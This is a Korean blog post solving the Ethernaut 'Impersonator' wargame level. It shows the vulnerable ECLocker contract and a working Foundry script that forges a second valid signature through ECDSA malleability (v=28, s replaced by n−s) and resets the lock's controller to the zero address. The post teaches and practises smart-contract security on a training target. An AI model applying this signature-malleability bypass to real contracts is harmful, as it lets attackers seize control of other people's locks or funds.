본문 바로가기
  • Show the world what you can do
Web3/Ethernaut

[Ethernaut] Impersonator 풀이

by kaymin 2025. 1. 18.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import "openzeppelin-contracts-08/access/Ownable.sol";

// SlockDotIt ECLocker factory
contract Impersonator is Ownable {
    uint256 public lockCounter;
    ECLocker[] public lockers;

    event NewLock(address indexed lockAddress, uint256 lockId, uint256 timestamp, bytes signature);

    constructor(uint256 _lockCounter) {
        lockCounter = _lockCounter;
    }

    function deployNewLock(bytes memory signature) public onlyOwner {
        // Deploy a new lock
        ECLocker newLock = new ECLocker(++lockCounter, signature);
        lockers.push(newLock);
        emit NewLock(address(newLock), lockCounter, block.timestamp, signature);
    }
}

contract ECLocker {
    uint256 public immutable lockId;
    bytes32 public immutable msgHash;
    address public controller;
    mapping(bytes32 => bool) public usedSignatures;

    event LockInitializated(address indexed initialController, uint256 timestamp);
    event Open(address indexed opener, uint256 timestamp);
    event ControllerChanged(address indexed newController, uint256 timestamp);

    error InvalidController();
    error SignatureAlreadyUsed();

    /// @notice Initializes the contract the lock
    /// @param _lockId uinique lock id set by SlockDotIt's factory
    /// @param _signature the signature of the initial controller
    constructor(uint256 _lockId, bytes memory _signature) {
        // Set lockId
        lockId = _lockId;

        // Compute msgHash
        bytes32 _msgHash;
        assembly {
            mstore(0x00, "\x19Ethereum Signed Message:\n32") // 28 bytes
            mstore(0x1C, _lockId) // 32 bytes
            _msgHash := keccak256(0x00, 0x3c) //28 + 32 = 60 bytes
        }
        msgHash = _msgHash;

        // Recover the initial controller from the signature
        address initialController = address(1);
        assembly {
            let ptr := mload(0x40)
            mstore(ptr, _msgHash) // 32 bytes
            mstore(add(ptr, 32), mload(add(_signature, 0x60))) // 32 byte v
            mstore(add(ptr, 64), mload(add(_signature, 0x20))) // 32 bytes r
            mstore(add(ptr, 96), mload(add(_signature, 0x40))) // 32 bytes s
            pop(
                staticcall(
                    gas(), // Amount of gas left for the transaction.
                    initialController, // Address of `ecrecover`.
                    ptr, // Start of input.
                    0x80, // Size of input.
                    0x00, // Start of output.
                    0x20 // Size of output.
                )
            )
            if iszero(returndatasize()) {
                mstore(0x00, 0x8baa579f) // `InvalidSignature()`.
                revert(0x1c, 0x04)
            }
            initialController := mload(0x00)
            mstore(0x40, add(ptr, 128))
        }

        // Invalidate signature
        usedSignatures[keccak256(_signature)] = true;

        // Set the controller
        controller = initialController;

        // emit LockInitializated
        emit LockInitializated(initialController, block.timestamp);
    }

    /// @notice Opens the lock
    /// @dev Emits Open event
    /// @param v the recovery id
    /// @param r the r value of the signature
    /// @param s the s value of the signature
    function open(uint8 v, bytes32 r, bytes32 s) external {
        address add = _isValidSignature(v, r, s);
        emit Open(add, block.timestamp);
    }

    /// @notice Changes the controller of the lock
    /// @dev Updates the controller storage variable
    /// @dev Emits ControllerChanged event
    /// @param v the recovery id
    /// @param r the r value of the signature
    /// @param s the s value of the signature
    /// @param newController the new controller address
    function changeController(uint8 v, bytes32 r, bytes32 s, address newController) external {
        _isValidSignature(v, r, s);
        controller = newController;
        emit ControllerChanged(newController, block.timestamp);
    }

    function _isValidSignature(uint8 v, bytes32 r, bytes32 s) internal returns (address) {
        address _address = ecrecover(msgHash, v, r, s);
        require (_address == controller, InvalidController());

        bytes32 signatureHash = keccak256(abi.encode([uint256(r), uint256(s), uint256(v)]));
        require (!usedSignatures[signatureHash], SignatureAlreadyUsed());

        usedSignatures[signatureHash] = true;

        return _address;
    }
}

 

 

Exploit

 

누구나 locker를 열 수 있게 하려면, 그냥 controller 주소를 0으로 만들면 ecrecover()를 잘못 호출해도 open()이 가능해진다.

따라서 changeController로 newController 주소를 0으로 설정해야 하지만, 현재 컨트롤러의 이전에 쓰지않은 시그니처가 필요하다.

이는 ECDSA 서명에서 v=27 또는 v=28을 쓰는데, v=28을 쓸때 secp256k1 곡선의 모듈러 값에서 s를 뺀 값으로 s를 설정해서 쓴다고 한다. 이더스캔에서 locker 주소를 검색해서 이전에 쓰였던 서명 v, r, s를 확인할 수 있었고, v=27임을 확인하곤 v=28일때의 서명을 계산해서 쓸 수 있었다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script, console} from "../lib/forge-std/src/Script.sol";
import "../lib/forge-std/src/console.sol";
interface IEClocker{
    function usedSignatures(bytes32) external returns (bool);
    function controller() external returns (address);
    function open(uint8, bytes32, bytes32) external;
    function changeController(uint8, bytes32, bytes32, address) external;
}
contract call_eclocker is Script {
    function run() external {
        vm.startBroadcast(vm.envUint("pv_key"));

        address locker=0x891682f3300Fb51AC0a25Cb1DFd415F2FBb22141;
        IEClocker ec=IEClocker(locker);
        address inst=0x8c2ae6f8b77F6d7102DDFcFA71E262feEbECBA1c;

        uint8 v=27;
        bytes32 r=0x1932cb842d3e27f54f79f7be0289437381ba2410fdefbae36850bee9c41e3b91;
        bytes32 s=0x78489c64a0db16c40ef986beccc8f069ad5041e5b992d76fe76bba057d9abff2;
        bytes32 msgHash=0xf413212ad6f041d7bf56f97eb34b619bf39a937e1c2647ba2d306351c6d34aae;
        bytes32 signature=keccak256(abi.encode([uint256(r), uint256(s), uint256(v)]));
        // console.logBytes32(signature);
        // // sig: 0x83b834717b3fb753bb687a22001e686274948587272b07fa6e2186f1135c4454

        //v=28;
        bytes32 n_s= bytes32(115792089237316195423570985008687907852837564279074904382605163141518161494337-uint256(s));
        address _address=ecrecover(msgHash, 28, r, n_s);
        console.log(_address);
        ec.changeController(28, r, n_s, address(0));
        vm.stopBroadcast();
    }

    receive() external payable {}
    //success
}

'Web3 > Ethernaut' 카테고리의 다른 글

[Ethernaut] Magic Animal Carousel 풀이  (0) 2025.01.18
[Ethernaut] Puzzle Wallet 풀이  (0) 2025.01.18
[Ethernaut] Stake 풀이  (0) 2025.01.18
[Ethernaut] Gatekeeper Three 풀이  (0) 2025.01.18
[Ethernaut] Double Entrypoint 풀이  (0) 2025.01.18

댓글